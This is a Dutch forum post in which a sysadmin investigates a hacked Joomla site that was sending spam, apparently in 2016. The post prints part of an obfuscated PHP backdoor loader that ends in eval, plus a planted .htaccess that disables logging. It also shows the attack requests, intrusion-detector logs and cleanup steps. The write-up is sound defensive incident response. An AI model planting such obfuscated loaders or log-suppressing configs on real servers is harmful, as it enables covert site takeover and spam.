Vroeger deed ik 24/7 IT en logs waren mijn background wallpaper, nu is IT een deeltje van mijn job. Ik heb gewoon geen tijd om hier fulltime mee bezig te zijn.
Het wordt nog straffer, een andere joomla is ook geblacklist, deze stuurt nu spam, en ik zie via tcpdump mails naar buiten gaan, maar ik zie in de postfix logs dus niks. Het was een raadsel want via joomla mailen ging zelfs niet. Maar ik zie dus wel telkens requesten zoals deze:
97.74.215.190 - - [08/Sep/2016:03:36:41 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 200 178 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
En die file is er duidelijk opgezet:
Code: Selecteer alles
<?php
$hlnpe = 1719; function sncmumk($epppbe, $znzglla){$ojrfxsmnm = ''; for($i=0; $i < strlen($epppbe); $i++){$ojrfxsmnm .= isset($znzglla[$epppbe[$i]]) ? $znzglla[$epppbe[$i]] : $epppbe[$i];}
$elurlmjcs="base" . "64_decode";return $elurlmjcs($ojrfxsmnm);}
$nzduco = 'brQh1pPmTOb4NGpYlxPYOGgZTYlyKospEoz5tzvebrQh1pPmTOb4NGgZT3PQljN'.
'ZljWjcAuzeEy6AD85LxQwlGpveAJUdOfwTOfQdipv1aPhOiX5LaBjcAuzeEy6AD8mTOXwJrQUTpPy1a35JA'.
'9zeEy6A9ve1ad41O6mTOb4N0PEXpNaXpK5ebvenzveARXwBvpRpDpRaYJbR08wBvpWX7JJKqv9K7k7tYu6'.
'A9DDO360BQT0BQyjBDp6E3X0Ov0oX0KjORuPKAKgWIlhWA2zcIo7tzveAaQxeA0QLO8vnR9DO'.
'360BQT0BQyjR0XBB0PdOvTCBQJ8BDX0X0PrE3KjORD5qb4NnzveAbDDO360BQT0B'.
'QyjR0XBB0PdOvTCBQJ8BDX0X0PrE3KjORuPKAKgWIlhWA2zcIo7tzveAOv6Aj'.
'v6AxQxerQmlGpveAXwXDQWXpW5ebvenzveAaTZlxpfdG94N0PrRBg0BY8flYuD1GpsKqv+KAXx1agQebveAO'.
'y6A9DN1ad4KO6vlj8ZlY9DTxQyTpyjLx0UTRJJcAu7cx5zTYK5ebveAbQSqb4N'.
'AbDDTxQyTasfLaB9CR8fLFXQlQPUda6YLiW4NrT5LrpLNGsfLaBjORDSqb4NAbDDTxQyTasfLaB9CR8hJa3wLa0'.
'IlxPmeAXx1agQLx0UTRDSqb4NAbDDTxQyTasfLaB9CR82LjpUOG3fdiNZlY9DTxQyTasfLaB5tzveAbDNN0PrRBg0B3y'.
'D1GpsOpy7Lx0UTRNJKqv9NrT5Lrphda3QtzveAbQPqb4NwbvewbveAbveTjphdiX5LG29dipmJrPUOi6vlxQzO'.
'iXfTiW4NFXQnFb5qb5Sqb49KAu9NFXQnFb9CR8mJFN5l0PvdaJmeAXvTOfvcAujCro+NYDSqb49KAu9'.
'NFXQnFb9CR8mJFNwlxpzLr0ITR97Cro91FNQTI3lK7KyKANLKAKyKAXvTO'.
'fveEy6A7u9KAuDJrp2JAuPKF6vlQPYTO8yda6QeAKkcGo+K7z9K7KyKAXvTOfveEy6A7u9KAu'.
'DJrp2JAuPKF6vlQPYTO8yda6QeANlKI27cAu7K0v9K7z9NFXQnFb5tzveKAu9KFNQJFpY'.
'L7uDJrp2Jqy6Ajv6AxT3Lx6v1aPhKrQmOGQzeAXmJFK5KFy6A7u9lxpvJONhKF8YTaJwL'.
'a0vdG94K7Pne0ygcEQJw0ygcEQJamuUtp3kWpyzcEQJamuUtp3kWQyzcEXJamuUtp3kWIpLWAv3O'.
'RD4OA24amuUtp3kamoUtp3LWAvsOOzgamuUtp3LWAvsOOzYamuU603LWAvsOOzY6pyzcEpJeRQSWivDc'.
'YKyNF6vl7DSqb5Pqb5xJasIJrQZL78xlxPUOGfZlib4Nr6ZLjXQLjb5qb5Sqb49KAu'.
'9NrfZlib9CR8zlxpjOiNQlrgfdGB4NYPneFJiJigxJFu5OA2Z1RlyNYlybAXwBvpRpDpRaYJK'.
'p0XbOvfCB3bjORDSqb49KAu91ad9erQmOGQzeAX4Li6veRD6A7u9KA8Sqb'.
'49KAu9KAu9KFNQJFpYL7uDdGPhJrphJqy6A7u9KA8Pqb49KAu9qb49KAu9NFXZ1GphlYuPKrp2lrgZTrB4KDu7cAuDdGPhJrphJA'.
'DSqb49KAu9Nr6ZLjXQLjb9CRuDJrPVTasmam8JKA29KDu7KA29NrfZlib9c7u7C7KSqb49KAu9lxpvJO'.
Ik ga eens op een vm die php file decoden, is een simpele cypher en op het eind toont ie een eval() met de echte code, dan gaan we zien wat de code doet ....
Code: Selecteer alles
$bufug = Array('1'=>'a', '0'=>'F', '3'=>'1', '2'=>'4', '5'=>'p', '4'=>'o', '7'=>'i', '6'=>'N', '9'=>'g', '8'=>'B', 'A'=>'C', 'C'=>'P', 'B'=>'U', 'E'=>'T', 'D'=>'k', 'G'=>'2', 'F'=>'H', 'I'=>'j', 'H'=>'q', 'K'=>'I', 'J'=>'d', 'M'=>'6', 'L'=>'b', 'O'=>'X', 'N'=>'J', 'Q'=>'l', 'P'=>'9', 'S'=>'7', 'R'=>'S', 'U'=>'t', 'T'=>'Z', 'W'=>'M', 'V'=>'r', 'Y'=>'y', 'X'=>'R', 'Z'=>'v', 'a'=>'W', 'c'=>'L', 'b'=>'Q', 'e'=>'K', 'd'=>'Y', 'g'=>'x', 'f'=>'h', 'i'=>'3', 'h'=>'u', 'k'=>'8', 'j'=>'n', 'm'=>'z', 'l'=>'c', 'o'=>'E', 'n'=>'e', 'q'=>'D', 'p'=>'V', 's'=>'5', 'r'=>'G', 'u'=>'A', 't'=>'O', 'w'=>'f', 'v'=>'0', 'y'=>'s', 'x'=>'m', 'z'=>'w');
eval/*x*/(sncmumk($nzduco, $bufug));?>
Bizar is dat die file er al zogezegd sinds 2010 op staat, terwijl de server nog maar in de lucht is van 2013.
Gelukkig heb ik samhain lopen, die de intrusie gezien heeft:
Code: Selecteer alles
# locate include93.php
/var/www/html/joomla/modules/mod_syndicate/tmpl/include93.php
# zgrep include93.php /var/log/samhain_log*
/var/log/samhain_log-20160828.gz:CRIT : [2016-08-25T00:35:36+0200] msg=<POLICY ADDED>, path=</var/www/html/joomla/modules/mod_syndicate/tmpl/include93.php>, mode_new=<-rw-r--r-->, attr_new=<------------>, imode_new=<33188>, iattr_new=<0>, hardlinks_new=<1>, idevice_new=<0>, inode_new=<143148>, owner_new=<apache>, iowner_new=<48>, group_new=<apache>, igroup_new=<48>, size_old=<0>, size_new=<154680>, ctime_new=<[2016-08-24T20:36:46]>, atime_new=<[2016-08-24T20:36:52]>, mtime_new=<[2010-04-27T08:32:09]>, chksum_new=<B7BDBB01762E799822DC95A73B7053842D47FCECA92FD7AB>
Ik wist dat we vroeg of laat prijs gingen hebben ..... we zijn dus gehacked geweest:
Code: Selecteer alles
# find . -mtime -1000
.
./modules
./modules/.htaccess
./modules/mod_banners
./modules/mod_banners/ltgaq.php
./modules/mod_stats
./modules/mod_stats/state25.php
./modules/mod_stats/.htaccess
en dan vooral:
Code: Selecteer alles
# cat ./modules/mod_stats/.htaccess
Order Allow,Deny
Allow from All
Satisfy Any
Options -Indexes
<IfModule log_config_module.c>
ErrorLog /dev/null
CustomLog /dev/null common
GlobalLog /dev/null
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
## ww
-> lekker niks loggen dus
Zo, samhain heeft een berg files gevonden, die ik heb gerenamed naar .infected. Omdat ik daily snapshots van de site heb, en nog ergens een cleane full backup, heb ik file per file gerestored, en de permissies op root:root gezet, en geen enkele dir schrijfbaar.
Code: Selecteer alles
# tar vfzt infected.tar.gz
---------- root/root 154680 2010-04-27 10:32 var/www/html/joomla/modules/mod_syndicate/tmpl/include93.php.infected
---------- root/root 11358 2016-03-07 14:09 var/www/html/joomla/modules/mod_stats/stat566.php.infected
---------- root/root 270 2016-03-02 14:51 var/www/html/joomla/modules/mod_stats/.htaccess-infected
---------- root/root 0 2016-09-02 21:45 var/www/html/joomla/modules/mod_stats/jstats.php.infected
---------- root/root 118498 2016-03-02 17:44 var/www/html/joomla/modules/mod_custom/kmrcab.php.infected
---------- root/root 37932 2008-11-07 22:04 var/www/html/joomla/tmp/install_4914ad615fb09/classes/mime.magic.php.infected
---------- root/root 15433 2010-04-27 10:32 var/www/html/joomla/footer.php.infected
---------- root/root 11447 2010-04-27 10:32 var/www/html/joomla/administrator/components/com_categories/title.php.infected
---------- root/root 136 2010-04-27 10:32 var/www/html/joomla/administrator/includes/dir.php-infected
---------- root/root 10776 2010-04-27 10:32 var/www/html/joomla/administrator/language/db.php.infected
---------- root/root 11837 2010-04-27 10:32 var/www/html/joomla/xmlrpc/lib.php.infected
---------- root/root 14586 2008-09-09 23:50 var/www/html/joomla/libraries/domit/php_http_status_codes.php.infected
---------- root/root 12600 2007-06-08 22:41 var/www/html/joomla/libraries/joomla/event/handler.php.infected
---------- root/root 13638 2007-06-13 23:06 var/www/html/joomla/libraries/phpxmlrpc/compat/array_key_exists.php.infected
---------- root/root 12041 2010-04-27 10:32 var/www/html/joomla/components/com_wrapper/wrapper.php.infected
---------- root/root 10986 2010-04-27 10:32 var/www/html/joomla/plugins/system/mtupgrade/title.php.infected
---------- root/root 11315 2008-09-09 23:49 var/www/html/joomla/includes/gacl_api.class.php.infected
---------- root/root 8596 2010-04-27 10:32 var/www/html/joomla/templates/ja_purity/index.php.infected
---------- root/root 10129 2010-04-27 10:32 var/www/html/joomla/templates/beez/images/sql.php.infected
---------- root/root 7459 2010-04-27 10:32 var/www/html/joomla/templates/beez/index.php.infected
---------- root/root 7101 2016-09-08 06:33 var/www/html/joomla/templates/rhuk_milkyway/index.php.infected
Joomla heeft een bugfix gemaakt, gezien de hack deze files exploit:
administrator/components/com_media/helpers/media.php
libraries/joomla/filesystem/file.php
Ik heb een block op POST requesten gezet, ik zie onze botnetters nu hopeloos proberen:
Code: Selecteer alles
50.62.208.87 - - [08/Sep/2016:03:54:09 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
50.62.208.102 - - [08/Sep/2016:03:54:35 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
72.167.183.31 - - [08/Sep/2016:03:55:50 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
89.212.78.219 - - [08/Sep/2016:03:57:29 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
2.229.50.183 - - [08/Sep/2016:03:57:33 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
79.98.24.16 - - [08/Sep/2016:04:00:49 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
119.81.177.188 - - [08/Sep/2016:04:02:37 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
37.209.208.17 - - [08/Sep/2016:04:03:49 +0200] "POST /content/content/libraries/joomla/event/handler.php HTTP/1.0" 403 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
187.73.33.10 - - [08/Sep/2016:04:03:50 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
173.201.196.203 - - [08/Sep/2016:04:04:10 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
182.50.130.13 - - [08/Sep/2016:04:05:21 +0200] "POST /content/modules/mod_syndicate/tmpl/include93.php HTTP/1.0" 403 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
en ik heb van alle bestanden nu naast samhain live host IDS nu ook md5sum van alle bestanden in de document root + enkele backups.
Benieuwd of ze nu nog binnen geraken. Voor de rest heb ik geen exploits gevonden, volgens mij zijn ze niet verder geraakt dan in de apache omgeving wat php scripts overschrijven, om te kunnen spammen en fake adobe updates te kunnen sturen naar de browser..
Mijn grootste probleem is dat ik bijna 24/7 aan mijn zaak werk maar weinig tijd heb om continu naar logs te kijken. Vroeger was mijn fulltime job om logs te bekijken, nog verantwoordelijk geweest voor IDS + IPS van een zeer groot telecom bedrijf.
Concreet: deze bugfix:
http://joomlacode.org/gf/project/joomla ... m_id=31626
en gekende hacker tag:
http://forum.joomla.org/viewtopic.php?t=933020
Het aantal unieke te blocken IP's die include93.php probeert te gebruiken om spam te sturen, is bijna 3.000, een echt botnet dus:
# iptables -L INPUT -n | grep DROP | wc -l
2946